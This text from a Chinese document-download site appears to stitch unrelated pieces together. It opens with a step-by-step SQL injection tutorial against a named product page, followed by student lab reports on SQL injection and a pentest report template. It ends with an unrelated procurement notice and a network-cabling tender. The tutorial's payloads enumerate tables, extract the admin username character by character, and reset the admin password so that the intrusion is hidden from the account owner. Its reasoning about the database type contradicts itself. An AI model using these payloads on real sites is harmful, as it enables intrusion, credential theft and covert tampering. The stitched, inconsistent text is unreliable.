文档库 最新最全的文档下载
当前位置:文档库 › SQL 注入攻击 实例MS_SQL_Server

SQL 注入攻击 实例MS_SQL_Server

SQL 注入攻击 实例MS_SQL_Server
SQL 注入攻击 实例MS_SQL_Server

实例——注入攻击MS SQL Server

第1步:加单引号。

如图6.2所示是在浏览器地址栏中https://www.wendangku.net/doc/2e6414602.html,/detail.asp?productid=392后面加一个单引号,按Enter键后,服务器返回的错误提示。

图6.2 加单引号

第2步:测试“and 1=1”。如图6.3所示,在浏览器地址栏中https://www.wendangku.net/doc/2e6414602.html,/ detail.asp? productid=392后面加“and 1=1”,按Enter键后,服务器返回到正常页面。

图6.3 测试“and 1=1”

第3步:测试“and 1=2”。如图 6.4所示,在浏览器地址栏中https://www.wendangku.net/doc/2e6414602.html,/ detail.asp?productid=392后面加“and 1=2”,按Enter键后,服务器返回错误提示。

图6.4 测试“and 1=2”

如果一个网站不可以被注入,那么:第2步和第3步都会显示错误提示。

第4步:判断数据库类型。

如图6.5所示,在浏览器地址栏中https://www.wendangku.net/doc/2e6414602.html,/detail.asp?productid=392后面加“and user>0”,按Enter键后,服务器返回错误提示,可知是SQL Server数据库。

图6.5 测试“and user>0”

如果是SQL Server数据库,那么该网址显示的页面与“https://www.wendangku.net/doc/2e6414602.html,/detail.asp? productid=392”是一样的,如图6.6所示。

使用下面的语句:

https://www.wendangku.net/doc/2e6414602.html,/detail.asp?productid=392 and (select count(*) from msysobjects)>0 如果是SQL Server数据库,由于找不到表msysobjects,服务器会返回错误提示“对象名'msysobjects'无效。”,如图6.7所示,如果Web程序有容错能力,那么服务器返回页面也与原页面不同。

使用下面的语句:

https://www.wendangku.net/doc/2e6414602.html,/ReadNews.asp?NewsID=294 and (select count(*) from msysobjects)>0,如图6.8所示,服务器会返回错误提示“不能读取记录;在'msysobjects'上没有读取数据权限。”,说明是SQL Server数据库。

使用下面的语句:

https://www.wendangku.net/doc/2e6414602.html,/ReadNews.asp?NewsID=294 and (select count(*) from sysobjects)>0,如图6.9所示,服务器会返回错误提示。

第5步:猜测表名。图6.8和图6.9是基于https://www.wendangku.net/doc/2e6414602.html,网站进行的测试。

如图6.10所示,在浏览器地址栏中https://www.wendangku.net/doc/2e6414602.html,/detail.asp?productid=392后面加“and (select count(*) from admin)>=0”,按Enter键后,服务器返回错误提示,说明不存在“admin”表。

图6.10 猜测表名失败

继续猜测表名,如图6.11所示,在https://www.wendangku.net/doc/2e6414602.html,/detail.asp?productid=392后面加“and (select count(*) from adminuser)>=0”,返回正常页面,说明存在“adminuser”表,猜测成功。

注意,猜测表名时也可以使用如下形式:

https://www.wendangku.net/doc/2e6414602.html,/detail.asp?productid=392 and exists(select * from admin)

https://www.wendangku.net/doc/2e6414602.html,/detail.asp?productid=392 and exists(select * from adminuser)

第6步:猜测字段名(用户名和密码字段)。

猜出表名以后,将count(*)替换成count(字段名),用同样的方法猜解字段名。

如图6.12所示,在浏览器地址栏中https://www.wendangku.net/doc/2e6414602.html,/detail.asp?productid=392后面加“and exists (select count(name) from adminuser)>=0”,按Enter键后,服务器返回错误提示,说明不存在“name”用户名字段。

图6.12 猜测用户名字段名失败

继续猜测用户名字段名,如图6.13所示,在https://www.wendangku.net/doc/2e6414602.html,/detail.asp?productid=392后面加“and (select count(admin_name) from adminuser)>=0”,返回正常页面,说明存在“admin_name”用户名字段名,猜测成功。

然后猜测密码字段名:

假设https://www.wendangku.net/doc/2e6414602.html,/detail.asp?productid=392 and (select count(admin_pwd) from adminuser)>=0返回正常页面,则密码字段猜测成功,密码字段名是“admin_pwd”。

第7步:猜测用户名。已知表adminuser中存在admin_name字段,下面使用ASCII逐字解码法猜测用户名。

首先,猜测用户名的长度。

如图6.14所示,在浏览器地址栏中https://www.wendangku.net/doc/2e6414602.html,/detail.asp?productid=392后面加“and (select top 1 len(admin_name) from adminuser)>11”,含义是取第一条记录,测试用户名长度,按Enter键后,返回正常页面,说明用户名的长度大于11。

图6.14 用户名长度大于11

继续猜测用户名长度,如图6.15所示,在https://www.wendangku.net/doc/2e6414602.html,/detail.asp?productid=392后面加“and (select top 1 len(admin_name) from adminuser)>12”,返回错误页面,说明用户名的长度不大于12,所以用户名的长度是12。

图6.15 用户名长度不大于12

得到admin_name的长度以后,用unicode(substring(admin_name, N, 1))获得第N位字符的ASCII码,比如:

(1)猜测第1个字符。

如图6.16所示,从productid=392 and (select top 1 unicode(substring(admin_name, 1, 1)) from adminuser)>0到productid=392 and (select top 1 unicode(substring(admin_name, 1, 1)) from adminuser)>121显示正常;如图 6.17所示,productid=392 and (select top 1 unicode(substring(admin_name, 1, 1)) from adminuser)>122显示不正常,得第1个字符是“z”(查ASCII码字符表,字符z的十进制编码是122)。

图6.16 猜测第1个字符

图6.17 继续猜测第1个字符

(2)猜测第2个字符。

从productid=392 and (select top 1 unicode(substring(admin_name, 2, 1)) from adminuser)>0到productid=392 and (select top 1 unicode(substring(admin_name, 2, 1)) from adminuser)>103显示正常;productid=392 and (select top 1 unicode(substring(admin_name, 2, 1)) from adminuser)>104显示不正常,得第2个字符是“h”(查ASCII码字符表,字符h的十进制编码是104)。

(3)猜测第3个字符。

从productid=392 and (select top 1 unicode(substring(admin_name, 3, 1)) from adminuser)>0到productid=392 and (select top 1 unicode(substring(admin_name, 3, 1)) from adminuser)>110显示正常;productid=392 and (select top 1 unicode(substring(admin_name, 3, 1)) from adminuser)>111显示不正常,得第3个字符是“o”(查ASCII码字符表,字符o的十进制编码是111)。

按照上述步骤猜测第4~12个字符,最终得到用户名是“zhoushanshan”。

第8步:猜测用户密码。按照猜测用户名的方法猜测用户密码,一般情况下,密码是经MD5加密后存入表中的,如果成功,得到的也是加密后的密码,所以还要对密码进行破解。

第9步:修改密码。如果破解密码的难度很大,那么可以修改已经猜测的用户名对应的密码,即

https://www.wendangku.net/doc/2e6414602.html,/detail.asp?productid=392;

update adminuser set admin_pwd =' a0b923820dcc509a' where admin_name='zhoushanshan';-- “a0b923820dcc509a”是1的MD5值,即把密码改成1,zhoushanshan为已猜测的用户名,可以用同样的方法把密码改为原来的值,目的是为了不让真实的zhoushanshan用户发现系统被入侵了。

网站渗透测试报告

____________________________ 电子信息学院渗透测试课程实验报告____________________________ 实验名称:________________________ 实验时间:________________________ 学生姓名:________________________ 学生学号:________________________ 目录

第1章概述 1.1.测试目的 通过实施针对性的渗透测试,发现XXXX网站系统的安全漏洞,保障XXX业务系统安全运行。 1.2.测试范围 根据事先交流,本次测试的范围详细如下: 1.3.数据来源 通过漏洞扫描和手动分析获取相关数据。 第2章详细测试结果 2.1.测试工具 根据测试的范围,本次渗透测试可能用到的相关工具列表如下:

2.2.测试步骤 预扫描 通过端口扫描或主机查看,确定主机所开放的服务。来检查是否有非正常的服务程序在运行。 工具扫描 主要通过Nessus进行主机扫描,通过WVS进行WEB扫描。通过Nmap 进行端口扫描,得出扫描结果。三个结果进行对比分析。 人工检测 对以上扫描结果进行手动验证,判断扫描结果中的问题是否真实存在。

其他 根据现场具体情况,通过双方确认后采取相应的解决方式。 2.3.测试结果 本次渗透测试共发现2个类型的高风险漏洞,1个类型的低风险漏洞。这些漏洞可以直接登陆web管理后台管理员权限,同时可能引起内网渗透。获取到的权限如下图所示: 可以获取web管理后台管理员权限,如下步骤所示: 通过SQL盲注漏洞获取管理员用户名和密码hash值,并通过暴力破解工具破解得到root用户的密码“mylove1993.” 利用工具扫描得到管理后台url,使用root/mylove1993.登陆后台如图: 2.3.1.跨站脚本漏洞 风险等级: 高 漏洞描述: 攻击者可通过该漏洞构造特定带有恶意Javascript代码的URL并诱使浏览者点击,导致浏览者执行恶意代码。 漏洞位置: https://www.wendangku.net/doc/2e6414602.html,/red/latest_news.phpkd=&page=324 变量:page

中山大学实验3-SQL注入攻击实验

1.实验报告如有雷同,雷同各方当次实验成绩均以0分计。 2.当次小组成员成绩只计学号、姓名登录在下表中的。 警示 3.在规定时间内未上交实验报告的,不得以其他方式补交,当次成绩按0分计。 4.实验报告文件以PDF格式提交。 院系班级组长 学号 学生 实验分工 SQL注入攻击实验 【实验目的】 了解SQL注入攻击的过程。通过SQL注入攻击,掌握网站的工作机制,认识到SQL注入攻击的危害,加强对Web攻击的防范。 禁止恶意入侵,不可对他人网站造成不良影响。建议自行搭建简易网站进行实验。 【实验原理】 结构化查询语言SQL是一种用来和数据库交互的文本语言,SQL注入就是利用某些数据库的外部接口把用户数据插入到实际的数据库操作语言当中,从而达到入侵数据库乃至操作系统的目的。它的产生主要是由于程序对用户输入的数据没有进行细致的过滤,导致非法数据的导入查询。 在下面的攻击实验中,需要用到wed.exe和wis.exe两个命令行工具(从网络上下载),其中wis.exe 用于扫描某个站点中是否存在SQL注入漏洞;wed.exe是用于破解SQL注入用户名和密码。将两个工具结合起来,就可以体验从寻找注入点到注入攻击完成的整个过程。 【实验过程】(给出实验使用的真实网址,测试需要贴出适当的截图) (1)判断环境,寻找注入点 使用wis.exe寻找注入漏洞,其使用格式:wis 网址 例如,检测某个网址https://www.wendangku.net/doc/2e6414602.html,/,首先进入命令提示窗口,然后输入命令: wis https://www.wendangku.net/doc/2e6414602.html,/ 命令输入结束后,单击回车键,即可开始扫描。 注意命令格式,在输入网址时,网址需放在http://和/之间,否则扫描无法进行。

SQL注入实验

SQL注入实验 【实验环境】 本地主机(WindowsXP系统)、Windows实验台(Windows2003系统)、动网论坛6.0版本实验目标需首先确定所在主机实验台IP地址,并根据实验步骤填写正确的IP地址进行实验。实验拓扑如图3.6.1-1所示。 Windows实验台 本地主机 图3.6.1-1 【实验步骤】 启动虚拟机,并设置实验台的IP地址,以实验台为目标主机进行攻防试验。个别实验学生可以以2人一组的形式,互为攻击方和被攻击方来做实验。 一、获取后台用户名 以动网论坛6.0为例,在地址栏中输入http:// 实验台的IP/page6/index.asp 访问论坛首页,通过下图可以看到一共有2位注册会员。 图 3.6.1-2 http:// 实验台的IP/Page6/tongji.asp?orders=2&N=10 后显示出了整个论坛中2位用户的用户名。 图 3.6.1-3 (1)在地址栏中输入:(注意输入命令最后的逗号) http:// 实验台的IP/Page6/tongji.asp?orders=2&N=10%20userclass,后,如下显示,其中管理员的身份已经被标出。

图 3.6.1-4 (2)在地址栏中输入:(注意输入命令最后的逗号) http:// 实验台的IP/Page6/tongji.asp?orders=2&N=10%20userid, 显示论坛中用户的注册次序。 图 3.6.1-5 (3)在地址栏中输入: (注意输入命令最后的逗号) http:// 实验台的IP/Page6/tongji.asp?orders=2&N=10%20userpassword,显示2个用户的密码,被MD5进行了加密。 图 3.6.1-6 (4)在地址栏中输入: (注意输入命令最后的逗号) http:// 实验台的IP/Page6/tongji.asp?orders=2&N=10%20quesion,显示的是论坛中用户忘记密码后的提示问题。 图 3.6.1-7 (5)在地址栏中输入: (注意输入命令最后的逗号) http:// 实验台的IP/Page6/tongji.asp?orders=2&N=10%20answer,显示用户忘记密码后提示问题的答案,也是通过MD5加密的。 图 3.6.1-8 二、构造SQL注入点 构造SQL注入点文件(slq.asp),代码如下:(注:此sql.asp文件可以从工具箱中下载) <% strSQLServerName = "." '数据库实例名称(说明: “.”表示本地数据库) strSQLDBUserName = "sa" '数据库帐号 strSQLDBPassword = "123456" '数据库密码

中南大学网络安全实验报告

中南大学 网络安全 实验报告 学生姓名代巍 指导教师张士庚 学院信息科学与工程学院 专业班级信安1201班 学号 0909121615 完成时间 2014年12月15日

目录实验一 CA证书与SSL连接 实验二 WIFI钓鱼 实验三 SQL注入攻击 实验四配置和管理主机防火墙

实验一 CA证书与SSL连接 一.实验目的 通过申请、安装数字证书,掌握使用SSL建立安全通信通道的方法。 掌握在Windows Server 2003 下独立根CA 的安装和使用。 使用WEB 方式申请证书和安装证书。 建立SSL 网站。 分析SSL 网站的数据包特点。 二.实验原理 SSL协议的工作原理、数字证书的原理 在访问Web 站点时,如果没有较强的安全措施,用户访问的数据是可以使用网络工具捕获并分析出来的。在Web 站点的身份验证中,有一种基本身份验证,要求用户访问输入 用户名和密码时,是以明文形式发送密码的,蓄意破坏安全性的人可以使用协议分析程序破 译出用户名和密码。那我们该如果避免呢?可利用SSL 通信协议,在Web 服务器上启用安 全通道以实现高安全性。 SSL 协议位于TCP/IP 协议与各种应用层协议之间,为数据通讯提供安全支持。SSL 协议可分为两层: SSL 记录协议(SSL Record Protocol):它建立在可靠的传输协议(如TCP) 之上,为高层协议提供数据封装、压缩、加密等基本功能的支持。SSL 握手协议(SSL Handshake Protocol):它建立在SSL 记录协议之上,用于在实际的数据传输开始前,通讯双 方进行身份认证、协商加密算法、交换加密密钥等。每一个Windows Server 2003 证书颁发 机构都有可供用户和管理员使用的网页。

SQL注入攻击实验报告

实验报告 (实验名称:SQL注入攻击)

一、实验目的 通过SQL注入攻击,掌握网站的工作机制,认识到SQL注入攻击的防范措施,加强对Web攻击的防范。 二、实验环境 描述实验开展所基于的网络环境,给出网络拓扑、IP地址、web服务器、客户机等信息。 宿主机(客户机):操作系统为Windows 10,IP为192.168.18.11,在主机上安装虚拟化软件Vmware Player,在此基础上创建虚拟机并安装操作系统,进行网络配置,采用环回适配器,桥接模式,实现宿主机与虚拟机之间的网络通信,虚拟机(Web服务器):操作系统为Windows XP,IP为192.168.18.9, 本实验利用windows 的iis 服务搭建了一个有SQL 注入漏洞的网站“ASP 新闻发布系统”,以该网站为目标,对其实施SQL 注入攻击。 本实验所需工具如下: IIS 是Internet Information Server 的缩写,是微软提供的Internet 服务器软件,包括Web、等服务器,也是目前常用的服务器软件。版本不限。 “啊D”注入工具:对“MSSQL 显错模式”、“MSSQL 不显错模式”、“Access”等数据库都有很好的注入检测能力,内集“跨库查询”、“注入点扫描”、“管理入口检测”、“目录查看”等等于一身的注入工具包。 “ASP 新闻发布系统”Ok3w v4.6 源码。 三、实验内容 (一)配置实验环境, 首先选择网络适配器,安装环回适配器,在主机上安装Vmware Player,成功启动虚拟机。接着配置宿主机和虚拟机的IP,如图 要注意的是,配置主机上的IP时,应该选择VMnet8,并且注意勾取Bridge

DVWA中SQL注入实验

实验简介 DVWA (Dam Vulnerable Web Application)DVW A是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。支持很多数据库。所以一个矛一个盾,正好感受一下sql注入。DVW A 的安装就不详细介绍了,需要PHP/apache/mysql sqlmap是开源的,可以在github上找到。 cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。 实验预备知识 1.web抓包工具的使用; 2.sqlmap的使用 3.了解cookie注入原理 实验操作 一、查找注入点 1.打开Burp Suite,设置浏览器代理上网 图1:Burp Suite设置

图2:浏览器设置 图3:Burp Suite获取web数据包界面。intercept off(关闭)、在点击改建intercept on(开启)

2.将Burp Suite设置成intercept off,登录DVW A,将DVW A安全性设置成low;然后将Burp Suite设置成intercept on,在DVW A的SQL Injection页面上有一个userid输入框,随便输入然后点击submit,在Burp Suite中可以找到GET信息,其中有Request URI和Cookie信息。

SQL注入攻击实验报告_林凯杰_200930601340

SQL注入攻击实验 【实验要求】 1)Sql注入攻击的实现与防御,其中防御模块为可选作部分。 2)要求:提交源代码和可执行文件,提供用户使用文档和实验报告文档(包括开发环境、运行主要截图、实验收获等说明)。 【实验原理】 1、结构化查询语言(SQL)是一种用来和数据库交互的文本语言,SQL Injection就是利用某 些数据库的外部接口把用户数据插入到实际的数据库操作语言当中,从而达到入侵数据库乃至操作系统的目的。它的产生主要是由于程序对用户输入的数据没有进行细致的过滤,导致非法数据的导入查询。 2、SQL注入攻击主要是通过构建特殊的输入,这些输入往往是SQL语法中的一些组合, 这些输入将作为参数传入Web应用程序,通过执行SQL语句而执行入侵者的想要的操作,一般想要攻击成功,需要做到以下三点: 1)确定Web应用程序所使用的技术:注射式攻击对程序设计语言或者硬件关系密切,但是这些可以通过适当的踩点或者索性将所有常见的注射式攻击都搬出来逐个试一 下就知道了。为了确定所采用的技术,攻击者可以考察Web页面的页脚,查看错 误页面,检查页面源代码,或者使用诸如Nessus等工具来进行刺探。 2)确定所有可能的输入方式:Web应用的用户输入方式比较多,其中一些用户输入方式是很明显的,如HTML表单;另外,攻击者可以通过隐藏的HTML表单输入、 HTTP头部、cookies、甚至对用户不可见的后端AJAX请求来跟Web应用进行交互。一般来说,所有HTTP的GET和POST都应当作用户输入。为了找出一个Web 应用所有可能的用户输入,我们可以求助于Web代理,如Burp等。 3)查找可以用于注射的用户输入:在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式。这个任务好像有点难,但是这 里有一个小窍门,那就是多多留意Web应用的错误页面,很多时候您能从这里得 到意想不到的收获。 3、SQL注入攻击的特点。 4)变种极多:有经验的攻击者会手动调整攻击参数,致使攻击数据的变种是不可枚举的,这导致传统的特征匹配检测方法仅能识别相当少的攻击,难以防范。 5)攻击过程简单:目前互联网上流行众多的SQL注入攻击工具,攻击者借助这些工具

江苏师范大学虚拟仿真实验教学管理平台及综合列车运行控制

江苏师范大学虚拟仿真实验教学管理平台及综合列车运行控制系统谈判采购文件 (No:2016H51089 ) 第一部分谈判供应商须知 一、总则 1.本谈判采购文件仅适用于江苏师范大学组织的谈判采购活动。 2.凡符合资质要求的公司均可参与。 3.无论结果如何,参加谈判公司自行承担因此所产生的全部费用。 4.本次谈判采购活动及由本次采购活动产生的合同受国家法律制约和保护。 5.凡参与此采购项目的谈判方,除谈判方有特别说明外,均视为接受并遵守本谈判采购文件。 6.本次采购活动细则由江苏师范大学招投标办公室负责解释。 二、竞争性谈判工作程序 1.发布谈判采购公告; 2.谈判供应商获取谈判采购文件; 3.谈判供应商咨询了解本项目基本情况,制作谈判响应文件; 4.采购方接受谈判响应文件,同时收取相关费用、保证金; 5.竞争谈判; 6.确定成交商,等额退还未成交方的谈判保证金; 7.签署供货合同,执行合同。 三、对谈判供应商的要求 谈判供应商除具备公告中的资质要求外,还应满足下列要求: 1.必须为独立法人; 2.必须具有《中华人民共和国消费者权益保护法》所规定的售后服务的能力。成交方必须派出技术人员提供现场服务及有关技术培训; 3.提供的设备必须附有原始生产厂家的质保书及产品合格证,如提供假冒伪劣产品,采购方将根据《中华人民共和国消费者权益保护法》的规定要求赔偿。 4.单位负责人为同一人或者存在直接控股、管理关系的不同供应商,不得同时参加同一合同项下的政府采购活动。 四、谈判响应文件的要求 1.谈判响应文件的构成: (1)竞争性谈判响应声明函; (2)谈判报价明细表:自做报价表,注明型号、规格、技术指标,详细的交货清单;特殊工具及备件清单。如果是进口设备,因我校享受进口免税政策,可以以欧元或美元CIF南京报价(免税价格);如不能办理免税,

SQL注入攻击实验报告

SQL 注 入 攻 击 报 告 院系:计算机与通信工程学院 班级:信息安全10-02班

实验目的 通过SQL注入攻击,掌握网站的工作机制,认识到SQL注入攻击的防范措施,加强对Web 攻击的防范。 1.实验内容 通过模拟SQL注入攻击获得某网站后台登陆密码。 (1)端正学习目的,禁止恶意入侵,不可对他人网站造成不良影响。 (2)寻找Internet上用ASP、PHP、JSP或者语言编写的动态网站,测试其是否存在SQL 注入漏洞,选择一个可能存在漏洞的网站进行模拟攻击。 (3)获得后台数据库中的存储网站用户和密码的数据表。 (4)获得其中一对用户名和密码。 (5)找到登陆后台系统的网页路径,用获得的用户名和密码验证是否能登陆。 (6)为这个网站的SQL注入漏洞提出解决方案和防范办法。 3.实验步骤 解攻击方法 在地址栏: and 1=1 查看漏洞是否存在,如果存在就正常返回该页,如果没有,则显示错误,继续假设这个站的数据库存在一个admin表 在地址栏: and 0<>(select count(*) from admin) 返回页正常,假设成立了。 下面来猜猜看一下管理员表里面有几个管理员ID: and 1<(select count(*) from admin) 页面什么都没有。管理员的数量等于或者小于1个 and 1=(select count(*) from admin) 输入=1没显示错误,说明此站点只有一个管理员。 下面就是要继续猜测admin 里面关于管理员用户名和密码的字段名称。 and 1=(select count(*) from admin where len(username)>0) 用户名称字段猜解完成之后继续猜解密码字段 and 1=(select count(*) from admin where len(password)>0) password 字段存在! 我们已经知道了管理员表里面有3个字段 id,user,password。 id 编号 user 用户名 password 密码

网络安全实验报告_SQL注入攻击

课程名称网络信息安全综合实验实验项目名称SQL注入攻击 一、实验要求 在虚拟机环境查找SQL注入漏洞,通过Metasploit平台的sqlmap攻击实施SQL注入,了解防御措施 二、实验环境 攻击机:BT5r3,IP地址:192.168.200.4 URL:https://www.wendangku.net/doc/2e6414602.html,/004_zhnews/search/detail.php?id=10832 三、实验步骤 1.打开终端,进入Sqlmap目录:cd /pentest/database/sqlmap 2.通过Sqlmap进行注入攻击。 上图可知:sqlmap探测出URL中的id参数存在着SQL注入点,并包含了基于错误的SQL注入点以及UNION查询注入点。 由上图可知后台数据库的版本是MySQL 5.0,Web应用平台为PHP 4.4.9/Apache 1.3.28。 3.通过Sqlmap获取数据库名。

4.通过Sqlmap获取表名。本实验以efair数据库为例:

5.通过Sqlmap获取列名。以efair数据库里的auth_user为例:课看到有password一列: 6.通过Sqlmap导出password列的内容。

由图可知,获取这个web应用后台数据库的所有作者用户账户和口令哈希,并保存为一个本地的txt文件。该文件如下图:

7.查看Sqlmap支持的Shell。 四、实验小结 本次实验过程中,在寻找可进行注入的URL过程中,尝试着对多个URL进行SQL注入,使用“and 1=1”及“and 1=2”确认网站是否有SQL注入漏洞,试验过程中大部分网站都禁止非法语句,最终实验使用URL为乌云网上提供的一个可进行SQL注入的网站。通过本次

SQL注入攻击实验

课外实践作业一:SQL注入实验 (1) 实验描述 在本次实验中,我们修改了phpBB的web应用程序,并且关闭了phpBB实现的一些对抗SQL注入的功能。因而我们创建了一个可以被SQL注入的phpBB版本。尽管我们的修改是人工的,但是它们代表着web开发人员的一些共同错误。学生的任务是发现SQL注入漏洞,实现攻击者可以达到的破坏,同时学习抵挡这样的攻击的技术。 (2) 实验环境 SEED Ubuntu镜像 ●环境配置 实验需要三样东西,Firefox、apache、phpBB2(镜像中已有): ①运行Apache Server:镜像已经安装,只需运行命令%sudo service apache2 start ②phpBB2 web应用:镜像已经安装,通过https://www.wendangku.net/doc/2e6414602.html,访问,应 用程序源代码位于/var/www/SQL/SQLLabMysqlPhpbb/ ③配置DNS:上述的URL仅仅在镜像内部可以访问,原因是我们修改了/etc/hosts 文件使https://www.wendangku.net/doc/2e6414602.html,指向本机IP 127.0.0.1。如果需要在其他机器访问,应该修改hosts文件,使URL映射到phpBB2所在机器的IP。 ●关闭对抗措施 PHP提供了自动对抗SQL注入的机制,被称为magic quote,我们需要关闭它。 1.找到/etc/php5/apache2/php.ini 2.找到magic_quotes_gpc = On这一行 3.改为magic_quotes_gpc = Off 4.重启Apache:”sudo service apache2 restart” ●Note for Instructors最好拥有一些背景知识 1.使用虚拟机,Firefox的插件LiveHttpHeaders和Tamper Data 2.对SQL语句的一些了解 3.如何操作MySQL数据库 4.对PHP一些了解 (3) 实验任务 ①对SELECT语句的攻击 此次任务,你需要通过访问虚拟机内的URL:https://www.wendangku.net/doc/2e6414602.html,。在进入phpBB 之前系统会要求你登陆。这个登陆认证由服务器上的login.php实现,需要用户输入用户名和密码来通过认证。界面如下:

SQL注入攻击实验报告

实验报告 实验名称:SQL 注入攻击)

一、实验目的 通过SQL注入攻击,掌握网站的工作机制,认识到SQL注入攻击的防范措施,加强对Wet攻击的防范。 二、实验环境 描述实验开展所基于的网络环境,给出网络拓扑、IP地址、web服务器、客户机等信息。 宿主机(客户机):操作系统为Windows 10,IP为,在主机上安装虚拟化软件Vmware Player,在此基础上创建虚拟机并安装操作系统,进行网络配置,采用环回适配器,桥接模式,实现宿主机与虚拟机之间的网络通信, 虚拟机(Web服务器):操作系统为Windows XP, IP为, 本实验利用windows的iis 服务搭建了一个有SQL注入漏洞的网站“ ASP新闻发布系统”,以该网站为目标,对其实施SQL注入攻击。 本实验所需工具如下: IIS 是In ternet In formation Server 的缩写,是微软提供的In ternet 服务器软件,包括Web FTP Mail等服务器,也是目前常用的服务器软件。版本不限。 “啊D'注入工具:对“ MSSQL显错模式”、“ MSSQL不显错模式”、 “ Access ”等数据库都有很好的注入检测能力,内集“跨库查询”、“注入点扫描”、“管理入口检测”、“目录查看”等等于一身的注入工具包。 “ ASP新闻发布系统” 0k3w源码。 三、实验内容 (一)配置实验环境, 首先选择网络适配器,安装环回适配器,在主机上安装VmwarePlayer,成功启 动虚拟机。接着配置宿主机和虚拟机的IP,如图 如鸭宓韵站M6,矗可咗取兰為詡鮒IP £&.逵删.你愛養从网屯雋諭苗細也義 晦电国酌pm 10 ?4出勺I 子网?屮 要注意的是,配置主机上的IP时,应该选择VMnet8,并且注意勾取Bridge

网站渗透测试报告-模板

网站渗透测试报告-模板

____________________________ 电子信息学院渗透测试课程实验报告____________________________ 实验名称:________________________ 实验时间:________________________ 学生姓名:________________________ 学生学号:________________________

目录 第1章概述 (4) 1.1.测试目的 (4) 1.2.测试范围 (4) 1.3.数据来源 (4) 第2章详细测试结果 (5) 2.1.测试工具 (5) 2.2.测试步骤 (5) 2.2.1.预扫描 (5) 2.2.2.工具扫描 (5) 2.2.3.人工检测 (6) 2.2.4.其他 (6) 2.3.测试结果 (6) 2.3.1.跨站脚本漏洞 (7) 2.3.2.SQL盲注 (8) 2.3.2.管理后台 (11) 2.4.实验总结 (12)

第1章概述 1.1.测试目的 通过实施针对性的渗透测试,发现XXXX网站系统的安全漏洞,保障XXX 业务系统安全运行。 1.2.测试范围 根据事先交流,本次测试的范围详细如下: 系统名称XXX网站 测试域名https://www.wendangku.net/doc/2e6414602.html, 测试时间2014年10月16日-2014年10月17日 说明本次渗透测试过程中使用的源IP可能为:合肥 1.3.数据来源 通过漏洞扫描和手动分析获取相关数据。

第2章详细测试结果 2.1.测试工具 根据测试的范围,本次渗透测试可能用到的相关工具列表如下:检测工具用途和说明 WVS WVS(Web Vulnerability Scanner)是一个自动化的Web应用程序安全测试工具,它可以通过检查SQL注入攻击漏洞、跨站脚本攻击漏洞等来审核Web应用程序。 Nmap Linux,FreeBSD,UNIX,Windows下的网络扫描和嗅探工具包。 Burpsuite 网络抓包工具,对网络的数据包传输进行抓取。 浏览器插件对工具扫描结果进行人工检测,来判定问题是否真实存在,具体方法依据实际情况而定。 其他系统本身具备的相关命令,或者根据实际情况采用的其他工具。 2.2.测试步骤 2.2.1.预扫描 通过端口扫描或主机查看,确定主机所开放的服务。来检查是否有非正常的服务程序在运行。 2.2.2.工具扫描 主要通过Nessus进行主机扫描,通过WVS进行WEB扫描。通过Nmap进行端口扫描,得出扫描结果。三个结果进行对比分析。

网络安全《sql注入》实验报告

大学计算机学院实验报告 课程名称:___计算机网络安全___ 专业/年级:___________________ 姓名:____________________ 学号:____________________ 实验名称:___________sql注入__ 实验日期:_____________________ 一、实验目的和要求 1、了解数据库的查询规则 2、熟悉SQL查询语句 3、了解SQL注入的危害性 二、实验原理 1、数据安全包括哪几个安全属性? 用户控制安全,访问控制安全,ip地址控制安全,端口安全,ip转发安全 2、威胁数据库安全的因素有哪些? 代码注入,不安全身份认证和会话管理,跨站脚本,不安全的直接对象引用,不安全的配置,敏感信息泄露,功能级访问控制缺失,跨站请求伪造,使用含有已知漏洞的组件,未经安全验证的重定向和转发3、and和or语句在数据库中的用法

$sql = 'SELECT * FROM `vvt_spread_doubleegg_exchange_award` AS p WHERE p.`act_type` = 4 or p.`act_type` = 5 AND p.`user_id` = ' .$user_id or语法一般用于多个条件的查询, 4、联合查询的基本原理 联合查询是根据每个表之间的逻辑关系从两个或多个表中检索数据,而这逻辑关系则是每个表之间共同的列的关联性,这也是关系数据库查询的最主要的特征. 数据表的连接有: 1、内连接 2、外连接 (1)左连接(左边表不限制) (2)右连接(右边表不限制) (3)全外连接(不受限制) 3、交叉连接 三、实验步骤

大成实验学校网络改造工程

(编号:XCJYF-2014-035)标项一:杭州市下城区大成实验学校网络改造工程项目概况 一、综合布线系统技术要求 1、综合布线系统 1)、总体要求 学校综合布线系统是为学校数据、语音应用提供传输基础。 综合布线系统共分为五个部分:工作区、水平线缆、配线间、垂直干线和中心设备间。系统各个部分组成一个模块化、系统化灵活性极高的综合布线系统,能够连接及支持语音、数据及图像信息。 本布线系统采用六类布线系统。 系统各个部分的详细要求如下。 1、工作区子系统 本工程所有终端信息插座均采用六类RJ45插口模块,并采用相应预埋盒及墙型面板,未特别标注的场合安装高度底距地0.3m。 2、水平线缆 水平配线子系统电缆采用六类4对UTP对绞线,沿垂直桥架,水平金属桥架及金属管/钢管敷设,施工时双绞线敷设在终端信息点侧预留20cm,在井道内预留长度可到达机柜顶部/底部(由进线方式而定),整个水平链路长度不超过90m。 3、配线间 本工程根据具体情况设臵管理间具体情况参考图纸及现场情况。分别在其内设臵19"标准机柜,内设有光纤配线架,铜缆配线架,接入层网络交换机等设备。 管理间布臵请参考图纸及现场情况 端接水平线缆的配线架采用模块式配线架。在配线架上通过跳线可实现计算机信息点和电话信息点的互换。 端接语音主干采用机架式语音配线架。 各种配线架应考虑配合数据、语音跳线而设臵的理线架。 4、垂直干线 数据垂直干线采用室内万兆6芯多模光缆,语音垂直干线采用3类50对非屏蔽大对数铜缆,垂直干线沿地下室员工通道及各区域弱电井敷设;施工时,垂直干线引入机柜后还预留2m。 5、中心设备间

